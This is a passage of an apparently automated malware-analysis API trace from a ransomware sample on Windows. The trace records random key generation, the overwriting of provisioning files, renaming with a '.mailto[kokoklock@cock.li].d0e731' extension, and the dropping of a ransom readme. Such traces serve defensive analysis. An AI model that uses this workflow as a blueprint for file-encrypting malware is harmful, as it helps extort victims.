RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xdd759160 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xff9e0434 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x7ed10a33 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xa66c43d1 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x30456124 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xa9542b1e [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x686f65b1 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x539c74b6 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x2d8dc53d [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xf8741364 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x8bf2a4f2 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xbcbfbecc [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xe1aa14f [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xc66ed80b [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xa60702a1 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0xcfd6fcf6 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x127e9d9a [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x78310b37 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x6f06d376 [0085.671] RtlRandom (in: Seed=0x2dd3fcc0 | out: Seed=0x2dd3fcc0) returned 0x8097dbbd [0085.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.682] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.682] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.682] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0xcec, lpNumberOfBytesRead=0x2dd3fcb4, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2dd3fcb4*=0xcec, lpOverlapped=0x0) returned 1 [0085.682] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dd3fc7c | out: lpNewFilePointer=0x0) returned 1 [0085.682] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0xcec, lpNumberOfBytesWritten=0x2dd3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2dd3fcb0*=0xcec, lpOverlapped=0x0) returned 1 [0085.682] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.682] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.682] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2dd3fcac, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2dd3fcac*=0x20, lpOverlapped=0x0) returned 1 [0085.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.682] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2dd3fcd8, lpOverlapped=0x0 | out: lpBuffer=0x55dd858*, lpNumberOfBytesWritten=0x2dd3fcd8*=0x8, lpOverlapped=0x0) returned 1 [0085.682] WriteFile (in: hFile=0x7c4, lpBuffer=0x2dd3fcf0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dd3fcd8, lpOverlapped=0x0 | out: lpBuffer=0x2dd3fcf0*, lpNumberOfBytesWritten=0x2dd3fcd8*=0x4, lpOverlapped=0x0) returned 1 [0085.683] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dd3fcd8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2dd3fcd8*=0x4, lpOverlapped=0x0) returned 1 [0085.683] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2dd3fcd8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2dd3fcd8*=0x6c, lpOverlapped=0x0) returned 1 [0085.683] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2dd3fcd8, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2dd3fcd8*=0x20, lpOverlapped=0x0) returned 1 [0085.683] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dd3fcd8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2dd3fcd8*=0x4, lpOverlapped=0x0) returned 1 [0085.683] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.683] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd7e0) returned 1 [0085.683] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.683] CloseHandle (hObject=0x7c4) returned 1 [0085.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.683] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" [0085.683] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.683] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.684] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.684] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.684] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.684] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ae78 [0085.684] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\" [0085.684] wcscat (in: _Dest=0x348ae78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.684] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.684] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.685] WriteFile (in: hFile=0x7c4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2dd3fcd4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2dd3fcd4*=0x481, lpOverlapped=0x0) returned 1 [0085.686] CloseHandle (hObject=0x7c4) returned 1 [0085.686] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ae78) returned 1 [0085.686] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482240) returned 1 [0085.686] RtlExitUserThread (Status=0x1) Thread: id = 1314 os_tid = 0x122c [0085.687] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml")) returned 0x20 [0085.688] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.688] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.688] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2ddbfebc | out: lpFileSize=0x2ddbfebc*=1814) returned 1 [0085.688] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x712, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.688] ReadFile (in: hFile=0x7c4, lpBuffer=0x2ddbfe90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ddbfe8c, lpOverlapped=0x0 | out: lpBuffer=0x2ddbfe90*, lpNumberOfBytesRead=0x2ddbfe8c*=0x4, lpOverlapped=0x0) returned 1 [0085.690] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.690] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.690] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.690] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd7e0 [0085.690] NtQuerySystemTime (in: CurrentTime=0x2ddbfe68 | out: CurrentTime=0x2ddbfe68*=132121176435860409) returned 0x0 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xa8b22fe5 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x52aec8a [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x6ffa097f [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x5a196908 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xdb1cb60 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x5d92c10e [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xca9dc093 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xe094fa19 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x61c32ea0 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xb3e411bf [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xfe865110 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xa068b78c [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x2a1deaed [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x5bb201e3 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xa6f8176e [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x9846a4be [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xbc1f546c [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x7d25254d [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xe8076c47 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x36a9b3bd [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x3b4a2e73 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x8bae2474 [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xcd37e5cf [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xa5ddca3e [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xfab2c1ff [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xd0e12bbb [0085.690] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xa2b2d955 [0085.691] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xff53f2f7 [0085.691] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0xafd82cf7 [0085.691] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x7d7e175 [0085.691] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x37425f37 [0085.691] RtlRandom (in: Seed=0x2ddbfe74 | out: Seed=0x2ddbfe74) returned 0x8f4909e4 [0085.701] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.701] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.701] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.701] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x716, lpNumberOfBytesRead=0x2ddbfe68, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2ddbfe68*=0x716, lpOverlapped=0x0) returned 1 [0085.701] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddbfe30 | out: lpNewFilePointer=0x0) returned 1 [0085.701] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x716, lpNumberOfBytesWritten=0x2ddbfe64, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2ddbfe64*=0x716, lpOverlapped=0x0) returned 1 [0085.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.702] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ddbfe60, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2ddbfe60*=0x20, lpOverlapped=0x0) returned 1 [0085.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.702] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.702] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ddbfe8c, lpOverlapped=0x0 | out: lpBuffer=0x55dd858*, lpNumberOfBytesWritten=0x2ddbfe8c*=0x8, lpOverlapped=0x0) returned 1 [0085.702] WriteFile (in: hFile=0x7c4, lpBuffer=0x2ddbfea4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ddbfe8c, lpOverlapped=0x0 | out: lpBuffer=0x2ddbfea4*, lpNumberOfBytesWritten=0x2ddbfe8c*=0x4, lpOverlapped=0x0) returned 1 [0085.702] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ddbfe8c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ddbfe8c*=0x4, lpOverlapped=0x0) returned 1 [0085.702] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ddbfe8c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ddbfe8c*=0x6c, lpOverlapped=0x0) returned 1 [0085.702] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ddbfe8c, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2ddbfe8c*=0x20, lpOverlapped=0x0) returned 1 [0085.702] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ddbfe8c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ddbfe8c*=0x4, lpOverlapped=0x0) returned 1 [0085.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd808) returned 1 [0085.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.703] CloseHandle (hObject=0x7c4) returned 1 [0085.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.703] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" [0085.703] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.703] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.704] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.704] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ae78 [0085.704] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\" [0085.704] wcscat (in: _Dest=0x348ae78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.704] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ae78) returned 1 [0085.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3483980) returned 1 [0085.704] RtlExitUserThread (Status=0x1) Thread: id = 1315 os_tid = 0x1230 [0085.705] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20 [0085.705] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 1 [0085.706] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 